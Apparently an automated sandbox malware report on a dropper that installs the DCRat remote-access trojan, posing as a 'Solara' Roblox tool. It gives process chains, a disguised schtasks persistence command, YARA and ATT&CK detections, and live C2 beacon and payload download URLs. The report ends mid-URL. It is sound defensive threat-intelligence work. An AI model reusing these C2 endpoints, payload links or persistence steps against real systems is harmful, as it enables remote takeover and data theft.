Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Code function: 3_2_0071EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0071EF05

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: Bootstrapper.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: \Device\ConDrv, type: DROPPED

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe "C:\Users\user\AppData\Local\Temp\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Process created: C:\Users\user\AppData\Local\Temp\kendalcp.exe "C:\Users\user\AppData\Local\Temp\kendalcp.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c ipconfig /all	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\blocksavesperfMonitorDll\SAymW4LctOmWulF1E6221.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\blocksavesperfMonitorDll\reviewDll.exe "C:\blocksavesperfMonitorDll\reviewDll.exe"	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "VrOvfXIxMKIwGaWOjV" /sc MINUTE /mo 11 /tr "'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe'" /f	Jump to behavior

Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ServerType":"C#","ServerVer":"4.5.32","PCName":"688098","UserName":"user","IpInfo":{"ip":"173.254.250.79","city":"Killeen","region":"Texas","country":"US","loc":"31.0065,-97.8406","org":"Not specified - United States","postal":"000000","timezone":"America/Chicago"},"WinVer":"Windows 10 Enterprise 64 Bit","TAG":"","isAdmin":"Y","GPUName":"Unknown (Unknown)","CPUName":"Unknown (Unknown)","isMicrophone":"Y","isWebcam":"N","ACTWindow":"Program Manager","ActivityStatus":"Sleeping","SleepTimeout":5}H;}
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ca/Chicago"},"WinVer":"Windows 10 Enterprise 64 Bit","TAG":"","isAdmin":"Y","GPUName":"Unknown (Unknown)","CPUName":"Unknown (Unknown)","isMicrophone":"Y","isWebcam":"N","ACTWindow":"Program Manager","ActivityStatus":"Sleeping","SleepTimeout":5}
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: {"ServerType":"C#","ServerVer":"4.5.32","PCName":"688098","UserName":"user","IpInfo":{"ip":"173.254.250.79","city":"Killeen","region":"Texas","country":"US","loc":"31.0065,-97.8406","org":"Not specified - United States","postal":"000000","timezone":"America/Chicago"},"WinVer":"Windows 10 Enterprise 64 Bit","TAG":"","isAdmin":"Y","GPUName":"Unknown (Unknown)","CPUName":"Unknown (Unknown)","isMicrophone":"Y","isWebcam":"N","ACTWindow":"Program Manager","ActivityStatus":"Sleeping","SleepTimeout":5}
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`
Source: VrOvfXIxMKIwGaWOj.exe, 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager z

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0071ED5B cpuid

3_2_0071ED5B

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

3_2_0071A63C

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe	Queries volume information: C:\Users\user\Desktop\AYUGPPBj0x.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\blocksavesperfMonitorDll\reviewDll.exe	Queries volume information: C:\blocksavesperfMonitorDll\reviewDll.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Queries volume information: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe VolumeInformation
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Queries volume information: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe VolumeInformation
Source: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	Queries volume information: C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0071D5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

3_2_0071D5D4

Source: C:\Users\user\AppData\Local\Temp\kendalcp.exe

Code function: 3_2_0070ACF5 GetVersionExW,

3_2_0070ACF5

Source: C:\Users\user\Desktop\AYUGPPBj0x.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.27.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.27.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 5856, type: MEMORYSTR
Source: Yara match	File source: 0000001C.00000002.1950301019.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1950355148.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1950301019.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1950355148.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1848465544.0000000002711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: reviewDll.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7312, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000016.00000002.4201114939.000000000333D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002DF2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002E54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000003225000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000003043000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 5856, type: MEMORYSTR
Source: Yara match	File source: 0000001C.00000002.1950301019.0000000002F40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1950355148.0000000002D3A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.1950301019.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.1950355148.0000000002CF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1848465544.0000000002888000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1848465544.0000000002711000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.4201114939.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: reviewDll.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VrOvfXIxMKIwGaWOj.exe PID: 7312, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	12 Process Injection	13 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	141 Virtualization/Sandbox Evasion	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	23 Software Packing	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	2 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	137 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
AYUGPPBj0x.exe	74%	ReversingLabs	ByteCode-MSIL.Trojan.XWormRAT
AYUGPPBj0x.exe	100%	Avira	TR/Dropper.Gen
AYUGPPBj0x.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	100%	Avira	TR/AVI.Agent.iqkvn
C:\blocksavesperfMonitorDll\R7uOS4kiQeNNM8oo5bGADNHtfWe.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\Public\AccountPictures\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\kendalcp.exe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	100%	Avira	HEUR/AGEN.1323984
C:\blocksavesperfMonitorDll\reviewDll.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	100%	Joe Sandbox ML
C:\Users\Public\AccountPictures\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\kendalcp.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	100%	Joe Sandbox ML
C:\blocksavesperfMonitorDll\reviewDll.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Common Files\VrOvfXIxMKIwGaWOj.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\VrOvfXIxMKIwGaWOj.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\Public\AccountPictures\RuntimeBroker.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
C:\Users\user\AppData\Local\Temp\Bootstrapper.exe	61%	ReversingLabs	Win64.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\kendalcp.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
C:\blocksavesperfMonitorDll\reviewDll.exe	83%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat

Source	Detection	Scanner	Label
http://127.0.0.1:64632y	0%	Avira URL Cloud	safe
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWt	100%	Avira URL Cloud	malware
https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	100%	Avira URL Cloud	malware
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	100%	Avira URL Cloud	malware
https://b37c8755.solaraweb-alj.pages.dev/download/static/files/Solara.Dir.zip	100%	Avira URL Cloud	malware
http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljq	100%	Avira URL Cloud	malware
http://kendalcp.beget.tech	100%	Avira URL Cloud	malware
http://kendalcp.beget.tech/	100%	Avira URL Cloud	malware
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W	100%	Avira URL Cloud	malware
http://kendalcp.beP	0%	Avira URL Cloud	safe
http://kendalcp.beget.tech/03ee7260.php?DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1&4e7502ef07216f4df503d363b4584dad=b37e3e015ca59c90c17488162b3a141d&6d87c9ed05422ad98f508ceb2bec8047=QY4QjY2EjYiFWO3IjM5kDZmVjNiZDZxUWZhRWNiRGMyQGOhhjM2MmZ&DvAxI8YDbo4yZU9i=Vsf5AsYNbtfbw4b6dTcIQ8bfp4WS&mL138H0QiDDljqO2mouc26=gZ&XR9QFVFgzhohyxlp5QZg=RNnCPm0yqLVdWujRR7rfC1	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
edge-term4-fra4.roblox.com	128.116.44.3	true	false	high
getsolara.dev	104.21.93.27	true	false	high
www.nodejs.org	104.20.23.46	true	false	high
kendalcp.beget.tech	5.101.153.173	true	true	unknown
clientsettings.roblox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://getsolara.dev/asset/discord.json	false		high
https://clientsettings.roblox.com/v2/client-version/WindowsPlayer/channel/live	false		high
http://kendalcp.beget.tech/03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50V